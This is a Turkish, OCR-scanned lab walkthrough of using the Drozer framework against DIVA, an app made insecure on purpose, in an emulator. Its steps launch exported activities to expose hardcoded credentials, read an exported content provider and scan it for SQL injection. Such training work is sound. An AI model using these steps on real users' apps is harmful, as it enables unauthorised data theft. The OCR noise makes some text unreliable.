Drozer Framework ile Vulnerable Mobile Diva App’e Dinamik Analiz Testleri Yapma
[+] Bu makale birebir uygulanmistir ve basarili olunmusgtur.
Bu makalede Drozer Framework ile Diva (Damn Insecure and Vulnerable Application) adli kasith

zafiyet iceren bir mobil uygulamaya giivenlik testleri uygulanacaktir. Makaledeki gereksinimler ve
alt bagliklar su sekildedir:

Gereksinimler
Ubuntu 18.04 LTS Linux // Attacker Desktop Machine
Drozer Framework /I Attacker Tool
Samsung Galaxy S4 VM // Victim Android VM
DIVA Vulnerable Mobile Application // Victim Android App
Icindekiler

a. Kurban Sanal Android Sistemi Olusturma
b. Drozer Framework Kurulumu ve Baslatilmasi
i) Drozer Istemci ve Sunucu Kurulumu
ii) Drozer Sunucusunu / Agent’in1 Baglatma
iii) Drozer Istemcisi Makinada Port Forwarding Ayari
iv) Drozer Framework Baglatma
c. Drozer Framework ile Dinamik Analiz Testleri Yapma
i) Hedef Android Sistem Kesif Asamasi
=> Hedef Android Sistemde Yiiklii Uygulamalar Listeleme
=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Detay Bilgilerine Ulagsma
=> Hedef Android Sistemde Yiiklii Bir Uygulamanin AndroidManifest Dosyasini
Okuma
ii) Hedef Android Sistem Uygulama Saldin Yiizeyi Tespiti
=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Saldir Yiizeyi Tespiti
[\] Bilgi: Exported Hk
=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Saldir Yiizeyi Detay Bilgisi
Elde Etme
=>
iii) Hedef Android Uygulama Somiirme (Exploitation)
=> “Exported” Sayfalardan Kritik Veri igerdigi Diisiiniilen Sayfanin
Cagirilmasi
=> “Exported” Content Provider’1 (Android SQL Bilegenini) Kullanma ve Cektigi
Verileri Okuma
[\] Bilgi: Content Provider Nedir Hk
=> “Exported” Content Provider’a (Android SQL Bilesenine) SQLi Yapma
[\] Bilgi: Content Provider (Android SQL Bilegeni) Nasil Korunur



a. Kurban Sanal Android Sistemi Olusturma

Genymotion sanallagtirma araci ile kurban bir mobil sanal sistem olugturalim. Bunun i¢in kurban
mobil sanal sistem olarak Samsung Galaxy S4 belirleyelim.

Ubuntu 18.4 LTS Terminal:

> genymotion

Genymotion Help

Filters a :
Available templates 141
Q
Type Device Android APl = Size Density Source
D Form factor >
= o Custom Phone 4.1-API16 768x%1280 320-XHDPI Genymotion H
m Android API >
I
) :_'_: Density > @ Custom Tablet 4.1-API 16 1536x2048  320-XHDPI  Genymotion H
1:',. Size > - .
Google Galaxy Nexus 4.1-API 16 720x 1280 320- XHDPI Genymotion H
2 source >
e Google Nexus 4 4.1-API 16 768x 1280 320- XHDPI Genymaotion H
@ Google Nexus 7 4.1-AP1 16 800x 1280 213-TVDPI Genymaotion H
o Google Nexus S 4.1-API 16 480x 800 240-HDPI Genymotion :
e HTC Evo 4G LTE 4.1-API 16 720% 1280 320-XHDPI  Genymotion )
o HTC One X 4.1-APl 16 720x 1280 320-XHDPI  Genymotion H
o HTC One XL 4.1-API 16 720x 1280 320-XHDPI  Genymotion H
o LG Optimus L3 11 4.1-API16 240%320 120-LDPI Genymotion H
m Matorola Droid Razr 41-API16 540x 960 240-HDPI Genvmotion H

( Genymotion Sanallastirma Araci Baglar )

Genymotion

Genymotion Help

Filters a
Q o HTC One XL 4.2-API17 720x 1280 320-XHDPI Genymotion H
e Motorola Moto X 4.2-API17 720x 1280 320- XHDPI Genymotion H
D Form factor >
Iil Android APl > o Samsung Galaxy Note 2 42-API17 720x 1280 320-XHDPI Genymotion H
:_.—: Density > :
o Samsung Galaxy 53 4.2-API17 720x1280 320-XHDPI  Genymotion :
1;. Size i
[ Samsung Galaxy 54 42-API17 1080x 1920 480-XXHDPI  Genymotion H
= Source >
Sony Xperia Tablet Z 42-API17  1920x1200  320-xHDpl  Install

Details
o Sony Xperia Z 4.2-API117 1080x 1920
0 Custom Phone 43-API18 Genymotion H
@ Custom Tablet 4.3-API 18 1536x2048  320-XHDPI  Genymotion :
e Google Galaxy Nexus 4.3-APl1 18 720x1280 320-XHDPI Genymotion H
@ Google Nexus 10 4.3-API 18 2560 x 1600 320- XHDPI Genymotion H
o Google Nexus 4 4.3-AP| 18 768x1280 320-XHDPI  Genymotion :

( Samsung Galaxy S4 Mobil Sanal Sistemini
Olustur Denir )



Genymotion

L Install virtual device

Display

@ Predefined 1080x1920 ~ 480 - XXHDPI
O Custom

D Start in full-screen mode

System
Android version
Processorl(s)
Memory size

Android system options

‘Show Android navigation bar

CANCEL  INSTALL

( Samsung Galaxy S4 Mobil Sanal Sistemi
Ismi Diizenlenir )

Genymotion

£ Install virtual device

O Custom

D Start in full-screen mode

System
Android version
Processor(s)

Memory size

Android system options

Show Android navigation bar

Use virtual keyboard for text input

Network mode

O NAT (default)

@ Bridge @

CANCEL  INSTALL

( Samsung Galaxy S4 Mobil Sanal Sistemi Network
Ayar1 Diizenlenir )



Genymotion

Help

i a s i1 .
EUters My installed devices
———
Q,
Type Device »
D Form factor >
™ e MobSF_VM_0.3
1! Android API >
TE Density > o Samsung Galaxy 54
—
t‘,. Size >
Available templates
) Source
-
Type Device

e Google Galaxy Nexus
o Google Nexus 4
@ Google Nexus 7
e Google Nexus S

Mmoo

Genymotion

Android API

4.1-API 16

4.2-API17

Android APl ~

4.1-API 16

4.1-API 16

1-API 16

4.1-API 16

4.1-API 16

4.1-API 16

Size Density Source Status
1080x 1920 420 Genymotion Off H
1080x 1920  480-XXHDPI  Genymotion off H
Size Density Source

768x 1280 320-XHDPI  Genymotion H
1536x2048  320-XHDPI  Genymotion 3
720x 1280 320-XHDPI Genymotion H
768x 1280 320-XHDPI  Genymotion i
800 x 1280 213-TVDPI  Genymotion $
480 x 800 240-HDPI Genymotion H

( Genmotion Cihazlarim Sekmesine Samsung Galaxy S4
Mobil Sanal Sistemi Yerlesir )

Genymotion Help

L My installed devices
Q
Type Device «

O rormfactor >
™ e MobSF_VM_0.3
I Android API >
T Density N |® Samsung Galaxy 54
1:{. Size >

Available templates
0 e

Type Device

@ Custom Phone
@ Custom Tablet

o Google Galaxy Nexus

0 Google Nexus 4
@ Google Nexus 7
o Google Nexus S

Y

Android API

4.1-API 16

42-AP117

Android AP ~

4.1-API16

4.1-API 16

4.1-API16

4.1-API 16

4.1-API 16

Size Density Source Status
1080x 1920 420 Genymotion off
1080x 1920  480-XXHDPI  Genymotion Off 5
Start
Edit
Size
Delete
Duplicate
320-xHDP|  Factoryreset
Generate logs
720x 1280 320-XHDPI
768x 1280 320-XHDPI Genymotion H
800x 1280 213-TVDPI Genymotion i
480x 800 240-HDPI Genymotion H

( Samsung Galaxy S4 Mobil Sanal Sistemi Baglatilir )
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( Samsung Galaxy S4 Mobil Sistemi Baslar)

Simdi hedef sanal android sisteme zafiyete sahip Diva adli mobil uygulamay: yiikleyelim.

Ubuntu 18.04 LTS Terminal:

(
not:
Ubuntu 18.04 LTS ana makinaya adb tool’u kurulumu icin bkz. Yaz Tatili 2014 /
Android Mobil Belgeler / Adb Kurulumu.txt

)

> adb devices
> adb install "/home/hefese/Desktop/diva-beta.apk"

GCikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help
hefese@TUBITAK-HASANFSIMSEK3:~$ adb install "/home/hefese/Desktop/diva-beta.apk"
Performing Push Install

,.fhomc-}hefcsc,.fDesLtopfdwa beta.apk: 1
k

.d. 38.4 MB/s (1502294 bytes in 0.037s)
data/local/tm k

hefese@TUBITAK-HASANFSIMSEK3:




Goriildiigii tizere adb tool’u ile Diva adli vulnerable apk dosyasi yiiklenir ve uygulama android
sisteme yerlesir.
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(2]
Welcome to DIVA! -
DIVA (Damn insecure and vulnerable App) is an App .
intentionally designed to be insecure. The aim of the  [&M
App is to teach developers/QA/security
professionals, flaws that are generally present in the
Apps due poor or insecure coding practices. If you o
are reading this you want to either learn App
pentesting or secure coding and | sincerely hope B
that DIVA solves your purpose. So, sit back and
enjoy the ride
1. INSECURE LOGGING
g+
2. HARDCODING ISSUES - PART 1 <«
3. INSECURE DATA STORAGE - PART 1 o
4. INSECURE DATA STORAGE - PART 2
5. INSECURE DATA STORAGE - PART 3
=
6. INSECURE DATA STORAGE - PART 4
=l
=]

7. INPUT VALIDATION ISSUES - PART 1

G



b. Drozer Framework Kurulumu ve Baslatilmasi
i) Drozer Istemci ve Sunucu Kurulumu

Ubuntu 18.04 LTS ana makinaya drozer istemcisi kurulacaktir. Ardindan hedef sanal android
sisteme drozer agent’1 (sunucusu) kurulacaktir. Bu sekilde ana makinadan hedef sisteme drozer
baglantilariyla dinamik analiz islemleri uygulanabilecektir. Asagida bu kurulumlar gosterilmistir.

Ubuntu 18.04 LTS Terminal: (*) Drozer Istemcisi Kurulur

( not: drozer_2.4.4.deb dosyas1 Downloads/Mobil Sizma Testi Gerecler/
dizini altinda mevcuttur )

> dpkg -i "/home/hefese/Desktop/drozer_2.4.4.deb"
> apt-get install -f // Eksik dependency’leri yiikler.
> drozer

GCikti:

hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
hefese@TUBITAK-HASANFSIMSEK3:~$ drozer
usage: drozer [COMMAND]

Run ‘drozer [COMMAND] --help” for more usage information.

Commands :
console start the drozer Console
module manage drozer modules
server start a drozer Server
ssl manage drozer SSL key material
exploit generate an exploit to deploy drozer
agent create custom drozer Agents
payload generate payloads to deploy drozer

hefese@TUBITAK-HASANFSIMSEK3:~$S D

Ubuntu 18.04 LTS Terminal: (*) Drozer Agent (Sunucusu) Kurulur
> adb install "/home/hefese/Desktop/drozer-agent-2.3.4.apk"

Cikti:



hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

hefese@TUBITAK-HASANFSIMSEK3:~5 adb install "/home/hefese/Desktop/drozer-agent-2

.3.4.apk"

Performing Push Install

thmefhefesejDesktondrnzer agent-2.3. ed. 79.0 MBjs (633111 bytes in 0.0808s)
k

rm failed for -f, No such file or directory
hefese@TUBITAK-HASANFSIMSEK3:~% |:|
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ii) Drozer Sunucusunu / Agent’in1 Baglatma:

Drozer istemcisi ile drozer agent’ina baglanmak ve drozer kabiliyetlerini hedef sanal android
sistemi tizerinde uygulamak icin drozer agent’inin baslatilmasi gerekmektedir. Bunun icin hedef
mobil sistem ekranindaki drazer agent uygulama simgesine tiklanir ve,



drozer Agent

drozer

B 7 °

Embedded Server
31415,

Genymotion for personal use - Samsung Galaxy S4 (1080x1920, 480dpi) - 192....8 @ @

4@ 7:08 2=

d : drozer Agent

drozer

Started embedded server on port 31415.

Embedded Server ®
31415

Boylece hedef sanal android sistemde drazer agent’1 baglamigs olacaktir. Drazer agent’1 ekranda
belirtigi iizere hedef sanal android sistemde 31415 portunda ¢alisir durumdadir. Drazer agent’
hakkinda ¢alismas1 konusunda detay bilgilere “Embedded Server”a tiklayarak ulasilabilir.
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'2)) drozer Agent

drozer

Embedded Server ®
31415

| drozer Server

Enabled

Server Details
e SS| Enabled
e Password Protected
e Enabled

e Connected

e Active Sessions

Starting Server...
Attempting to bind to port 31415...
Waiting for connections...

Messages
|
|
|




Ekranda Messages baglig1 altinda goriildiigii tizere drazer sunucusu baslatilmistir. Port 31415
gelecek baglantilara karsi dinlenme halindedir ve baglantilar beklenmektedir.

iii) Drozer istemcisi Makinada Port Forwarding Ayar1

Son olarak drozer istemcisi kurulu ana makinada port yonlendirme kural girilmesi gerekmektedir.
Ana makinada drozer client’1 normalde paketlerini hedef port 31415 olacak sekilde drozer
sunucusuna gonderir. Fakat arada router, proxy sunucu, firewall gibi donanimlar olabileceginden ve
arada port yonlendirme kurallari ile baglantiy1 bozabileceklerinden hedef port numarasinin
sabitligini vurgulamak adina ana makinada port yonlendirme kural girilir.

Buna gore ana makinadaki drozer istemcisi ile hedef sanal android sistemdeki drozer sunucusu
arasindaki baglantinin sorunsuz / kusursuz gerceklesmesi i¢in ana makinada, hedef port numarasi
31415 olarak gonderilen paketlerin hedef port numarasi 31415 olarak kalsin seklinde teyit edici bir
port yonlendirme kural girilir.

Ubuntu 18.04 LTS Terminal:

> adb forward tcp:31415 tcp:31415

Cikti:

hefese @TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
hefese@TUBITAK-HASANFSIMSEK3:~5 adb forward tcp:31415 tcp:31415
31415

hefese@TUBITAK-HASANFSIMSEK3:~$ |:|

Yani bu komut ile ana makinada, hedef port olarak 31415 seklinde gonderilecek paketler hedef port
olarak 31415 olarak gonderilsinler denmis olur. Béylece ana makinadan drozer client’inin default
olarak gonderecegi hedef port numarasi 31415 olan paketler hedef port numarasi 31415 olarak
karsiya gonderileceklerdir.

Not: Ornegin sozgelimi

adb forward tcp:6100 tcp:7100
denseydi ana makinada hedef port olarak 6100 seklinde gonderilecek paketler hedef port olarak
7100 portuna gonderilsinler denmis olurdu. Yani ana makinadaki port yonlendirme kurali ile ana

makinada paketin hedef port degeri 6100’ken 7100 olarak degistirilip gonderilecekti. Veya

adb reverse tcp:80 tcp:3000



denseydi uzak makinadan ana makinanin 80 portuna gelecek paketler ana makinanin 3000 portuna
yonlendirilsinler ve oradan gelsinler denmis olacakti. Yani ana makinadaki port yonlendirme kurali
ile uzaktan paketin hedef port degeri 80 olarak gelenler 3000 olarak degistirilip gelmis olsunlar
(yonlendirilsinler) denmis olacakti. Bu sekilde uzaktan ana makinanin 80 portuna gelen paketler ana
makinanin 3000 portundan geliyor olmus olacaktilar.

iv) Drozer Framework Baslatma
Drozer istemcisini artik baglatabilir durumdayiz.
Ubuntu 18.04 LTS Terminal:

> drozer console connect

Cikti:

hefese @TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
hefese@TUBITAK-HASANFSIMSEK3:~S drozer console connect
Selecting bfeaf12ff284cbb6 (Genymotion Samsung Galaxy S4 4.2.2)

«a0.. «Fow
soBoo o . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,slsandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)
dz>

Goriildiigi tizere artik drozer komut satir1 gelmistir ve drozer yeteneklerini hedef mobil sistemdeki
agent tizerinden hedef mobil sisteme uygulayabiliriz.

c. Drozer Framework ile Dinamik Analiz Testleri Yapma
i) Hedef Android Sistem Kesif Asamasi
Drozer ile hedef android sistemde ytiklii uygulamalar listeleyebilir veya yiiklii uygulamalarin

izinlerini goriintiileyebilir veya yiiklii uygulamalarin AndroidManifest.xml dosyasini
goriintiileyebiliriz.



=> Hedef Android Sistemde Yiiklii Uygulamalar: Listeleme

Hedef android sistemdeki yiiklii uygulamalari listelemek icin drozer framework’iindeki
app.package.list modiilii cahstirilir.

Ubuntu 18.04 LTS Terminal:
dz> run app.package.list
Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
.android.quicksearchbox (Search)
.android.settings (Settings)
.android.sharedstoragebackup (com.android.sharedstoragebackup)
.android.smspush (com.android.smspush)
.android.soundrecorder (Sound Recorder)
.android.systemui (System UI)
.android.videoceditor (Movie Studio)
.android.voicedialer (Volce Dialer)
.android.vpndialogs (VpnDialogs)
.android.wallpaper (Android Live Wallpapers)
.android.wallpaper.holospiral (com.android.wallpaper.holospiral)
.android.wallpaper.livepicker (Live Wallpaper Picker)
.automattic.simplenote (Simplenote)
.cyanogenmod. filemanager (File Manager)
.example.android.apis (API Demos)
.example.android.livecubes (Example Wallpapers)
.genymotion.genyd (com.genymotion.genyd)
.genymotion.superuser (Superuser)
.genymotion.systempatcher (com.genymotion.systempatcher)
.mwr.dz (drozer Agent)

com.svox.pico (Pico TTS)

jp.co.omronsoft.openwnn (Openknn)

Goriildiigii tizere hedef android sistemdeki uygulamalar listelenmistir ve aralarinda yiikledigimiz
zafiyet iceren DIVA uygulamasi da yer almaktadir.

=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Detay Bilgilerine Ulasma

Hedef android sistemdeki yiiklii belirli bir uygulama hakkinda bilgi edinmek i¢in (6rn; sanal
android sistemdeki process adi, sanal android sistemdeki user id bilgisi, sanal android sistemdeki
group id bilgisi,... gibi) drozer framework’iindeki app.package.info modiilii -a parametresine
uygulamanin paket ismi girilerek calistirilir (Not: Uygulama paket ismi bir 6nceki “run
app.package.list” komutu ile elde edilmistir).

Ubuntu 18.04 LTS:
dz> run app.package.info -a jakhar.aseem.diva

GCikti:



hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
dz> run app.package.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Application Label: Diva
Process Name: jakhar.aseem.diva
Version: 1.0
Data Directory: /data/data/jakhar.aseem.diva
APK Path: /data/app/jakhar.aseem.diva-1.apk
UID: 106052
GID: [1015, 1828, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.WRITE_EXTERNAL STORAGE
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:

Gortiildiigi tizere uygulama user id, group id, izin gibi bilgilerine ulasarak uygulama iizerinde
oturum hakki elde ettigimiz takdirde sistemde yetki diizeyimizin hangi diizeyde olabilecegini
bilebiliriz.

=> Hedef Android Sistemde Yiiklii Bir Uygulamanin AndroidManifest Dosyasim1 Okuma

Hedef android sistemdeki yiiklii belirli bir uygulamanin Android Manifest dosyasi elde edilebilir ve
okunabilir.

Ubuntu 18.04 LTS Terminal:
dz> run app.package.manifest jakhar.aseem.diva

Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help

dz> run app.package.manifest jakhar.aseem.diva
<manifest versionCode




Bu sekilde drozer ile dinamik olarak hedef android sistemdeki uygulamalarin android manifest
dosyalar1 okunabilir.
ii) Hedef Android Sistem Uygulama Saldir1 Yiizeyi Tespiti
=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Saldir1 Yiizeyi Tespiti
Hedef android sistemdeki ¢alisan bir uygulamanin saldirilabilecek araytizleri listelenebilir.
Ubuntu 18.04 LTS Terminal:
dz> run app.package.attacksurface jakhar.aseem.diva
GCikti:
hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:

3 activities exported

® broadcast receivers exported
1 content providers exported

0 services exported

is debuggable
dz> I

Goriildiigi tizere 3 adet public olarak (third party uygulamalarca) erisilebilir activity (sayfa) tespit
edilmistir. 1 adet de public olarak (third party uygulamalarca) erisilebilir icerik saglayici (hafif
siklet uygulama veri deposu) tespit edilmistir.

Android’te bilesenlerin exported olmasi ilgili bilesenin baska uygulamalarca erisilebilir durumda
oldugunu gosterir. Burada kullaniyor oldugumuz bagka uygulama drozer uygulamasi oldugundan
drozer uygulamasi ile diva uygulamasinin 3 adet sayfasina, ve 1 adet de content provider’ina
(android SQL bilesenine) erisebilecegimizi tespit ettik. Yani drozer dinamik analiz araci ile hedef
mobil uygulama {izerinde saldir1 ¢calismalar1 yapabilecegimiz mobil uygulama saldir yiizeyini tespit
ettik.

Bilgi: Exported Hk

AndroidManifest.xml’de sirali her bir android bilegeninde (activity, service, content
provider, broadcast receiver) yer alan exported attribute’u (6zelligi) bilesenin public veya
private olacagini belirler. Bilesene exported="true" denmesi bilesenin public olacagini,
bilesene exported="false" denmesi bilesenin private olacagini belirler. Bilesenin public
tamimlanmasi bilesenin bagka uygulamalarca erisilebilir olacagini / bagka uygulamalarca veri
paylasiminin agik olacagini sdyler. Bilesenin private tanimlanmasi bilesenin bagka
uygulamalarca erisilebilir olmayacagini / baska uygulamalarca veri paylasiminin acik
olmayacagin soyler. Eger bilesendeki exported 6zelligi true almigsa bilesen diger
uygulamalarca erisilebilirdir. Eger bilesendeki exported 6zelligi false almigsa bilesen diger
uygulamalarca erisilebilir degildir (Not: Android uygulamalarda android bilesenleri
toplamda dort adettir. Bunlar; activity, service, content provider ve broadcast receivers
seklindedir).



=> Hedef Android Sistemde Yiiklii Bir Uygulamanin Saldir1 Yiizeyi Detay Bilgisi Elde Etme

Hedef android sistemdeki ¢alisan bir uygulamanin saldirilabilecek arayiizleri detay bilgisi
listelenebilir.

Ubuntu 18.04 LTS Terminal:
dz> run app.activity.info -a jakhar.aseem.diva

Cikti:

hefese @TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run app.activity.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity

Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null

Goriildiigii iizere 3 adet erisilebilir activity’nin (sayfanin) izin bilgisi ekrana diismiistiir. Izinler null
durumdadir, yani herhangi bir kisitlama yoktur.

iii) Android Uygulama Sémiirme (Exploitation)
=> “Exported” Sayfalardan Kritik Veri Icerdigi Diisiiniilen Sayfanin Cagirilmasi

Hedef android sistemdeki ¢alisan uygulamanin saldirilabilecek sayfalari (activity’leri) bir 6nceki
maddede listelenmisti. Drozer uygulamasi tarafindan sirali sayfalardan (activity’lerden) kritik veri
icerdigi diisiiniileni ¢agirilabilir. Drozer gibi alakasiz ayr1 bir uygulamanin zafiyete sahip Diva
uygulamasinin sayfalarini ¢cagirabilmesinin nedeni bir 6nceki maddede bahsedildigi tizere Diva
uygulamasinin sayfalarinin exported, yani public (uygulamalar arasi erisime acik) tanimlamis
olmasindandir.

Onceki maddede zafiyete sahip hedef mobil uygulamanin activity’leri (sayfalar1) su sekilde
siralanmigti:

hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable




hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run app.activity.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity

Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null

dz> D

Simdi hedef mobil uygulamanin kritik veri icerdigi diisiiniilen APICreds2Activity activity’sini
(sayfasini) cagiralim.

Ubuntu 18.04 LTS Terminal;

dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICr
edsActivity

Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help
hefese@TUBITAK-HASANFSIMSEK3:~5 drozer console connect
Selecting bfeaf12ff284cbb6 (Genymotion Samsung Galaxy S4 4.2.2)

«a0.. e
cofoo o . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,slsandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)
fFERrun app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICr

Drozer komutu ¢alistiginda hedef mobil sistem ekranina ¢agirdigimiz activity (sayfa) gelecektir.



Vendor API Credentials

API Key: 123secretapikey123
API User name: diva
API Password: p@ssword

Normal sartlarda zafiyete sahip hedef mobil uygulama agildiginda arayiiziinde sadece login sayfasi
acilirken ve bagka sayfalara erisim icin link v.b. baglanti sunulmuyorken (bu nedenle bagka
activity’ler (sayfalar) goriintiilenemezken) hedef mobil cihaz iizerinde drozer komutlar (iistii kapali
android komutlar1) calistirarak mobil uygulamanin kritik veri icerdigi diisiiniilen ve erisimi serbest
birakilmisg activity’sini (sayfay1) cagirdik ve goriintiileyebildik. Yani drozer ile bu sekilde komut
calistirarak mobil uygulama arayiiziindeki kisitlar1 bypass edip kritik veri iceren mobil uygulama
activity’sini cagirabilir ve alamamamiz gereken kritik verileri elde edebiliriz.

=> “Exported” Content Provider’1 (Android SQL Bilesenini) Kullanma ve Cektigi Verileri
Okuma

Hedef android sistemdeki calisan uygulamanin saldirilabilecek sayfalar (activity’leri) ve content
provider’1 (android sql bileseni) bir 6nceki maddede listelenmisti. Drozer uygulamasi tarafindan
siralanan content provider, oldugu gibi kullanilabilr ve cekmekte oldugu veriler okunabilir. Drozer
gibi alakasiz ayr1 bir uygulamanin zafiyete sahip Diva uygulamasinin content provider’im kullanip
cekmekte oldugu verilerini okuyabilmesinin nedeni bir 6nceki maddede bahsedildigi {izere Diva
uygulamasinin content provider’ini exported, yani public (uygulamalar arasi erisime agik)
tamimlamis olmasindandir.

[\] Bilgi: Content Provider Nedir Hk.

Content provider, android uygulamalarin dosya sisteminde, SQLite veritabaninda, web
sunusunda veya baska bir depolama bolgesinde depolu uygulama verilerine erisim ve



yonetim icin kullanilan bir android bilegenidir. Android uygulamalar content provider’in
syntax’ina gore 6rnegin sql sorgu kodlar igerirler ve bu sekilde uygulama verilerini
kullanirlar.

Daha 6nce zafiyete sahip mobil uygulamanin activity’leri (sayfalar1) ve bir adet olan content
provider’1 (android SQL bileseni) su sekilde siralanmisti:

hefese @TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:

3 activities exported

® broadcast receivers exported

1 content providers exported

B services exported

is debuggable

dz>
Drozer ile hedef mobil uygulamanin content provider’1 hakkinda detay bilgiler elde edilebilir:

Ubuntu 18.04 LTS Terminal:

dz> run app.provider.info -a jakhar.aseem.diva

Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help
dz> run app.provider.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider

Read Permission: null

Write Permiss : null

Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False

Grant Uri Permissions: False

Simdi drozer’taki content provider tarama modiilii ile hedef mobil uygulamay1 tarayalim ve hedef
mobil uygulamadaki content provider’in sorgularinin hangi URI’lere (adreslere) yapildigini tespit
edelim. Bu sekilde drozer’dan yapacagimiz sorgulari elde ettigimiz adreslere yaparak uygulama
veri deposundan veri ¢ekebiliriz.

Ubuntu 18.04 LTS Terminal:
dz> run scanner.provider.finduris -a jakhar.aseem.diva

Cikti:



hefese @TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run scanner.provider.finduris -a jakhar.aseem.diva

Sscanning jakhar.aseem.diva...

Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider

lUnable to Query content://jakhar.aseem.diva.provider.notesprovider/
content://jakhar.aseem.diva.provider.notesprovider /notes

Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes

Goriildiigi tizere iki adet uri (adres) tespit edilmigstir. Bu adreslerden birine drozer sorgu modiilii ile
sorgu yapalim ve veri deposundaki veriyi cekelim

Ubuntu 18.04 LTS Terminal:
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/no
title

Exercise
Expense

note
Alternate days running
Spent too much on home theater

Either Goa or Amsterdam
Buy toys for baby, Order dinner
10 Meetings. 5 Calls. Lunch with CEO

holiday
home
office

I I I
I I I
I I I
| Wweekend | b333333333333r |
I I I
I I I
I I I

Goriildiigii tizere drozer ile hedef mobil uygulamanin veri deposundan uygulamanin hazir cekmekte
oldugu veriler cekilebilmistir.

=> “Exported” Content Provider’a (Android SQL Bilesenine) SQLi Yapma

Drozer sorgu modiilii ile hedef mobil uygulama veri deposuna sorgu yapabildigimiz gibi hedef
mobil uygulama content provider’ina (android SQL bilegenine) degerler gonderip sorguya sorgu
ilavesi (yani sql injection) yapabiliriz. Eger hedef mobil uygulama kodlarindaki content provider
bileseni kullanilarak yazilan sorgu kodlari sql injection agigina sahip durumda kodlanmislarsa sql
injection yapilabilir ve veri deposundan genis 6lcekte veri cekme gerceklestirilebilir.

[\] Bilgi: Content Provider Nedir Hk.

Content provider, android uygulamalarin dosya sisteminde, SQLite veritabaninda, web
sunusunda veya baska bir depolama bolgesinde depolu uygulama verilerine erisim ve
yonetim i¢in kullanilmakta olan android bilesenidir. Android uygulamalar content
provider’in syntax’ina gore drnegin sql sorgu kodlari icerirler ve bu sekilde uygulama
verilerini kullanirlar.



Asagida drozer Sql Injection zafiyeti tarama modiilii ile hedef mobil uygulamadaki content
provider’a (sql sorgulara) sql injection agig1 var mu testi yapilmistir.

Ubuntu 18.04 LTS Terminal:
dz> run scanner.provider.injection -a jakhar.aseem.diva
Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help

dz> run scanner.provider.injection -a jakhar.aseem.diva

Scanning jakhar.aseem.diva...

Not Vulnerable:
content://jakhar.aseem.diva.provider.notesprovider
content://jakhar.aseem.diva.provider.notesprovider/

Injection in Projection:
content://jakhar.aseem. .provider.notesprovider/notes/
content://jakhar.aseem. .provider.notesprovider/notes

Injection in Selection:
content://jakhar.aseem. .provider.notesprovider/notes/
content://jakhar.aseem. .provider.notesprovider/notes

Goriildiigi tizere iki URI’ye (adreste) yapilan sql sorgularinda projection ve selection boliimlerinde
sql injection ag1g81 tespit edilmistir. Projection ve selection sql jargonunda sql sorgusundaki
béliimlerin isimleridir. Projection sorgudaki kolon bolgesini ifade ederken, selection sorgudaki
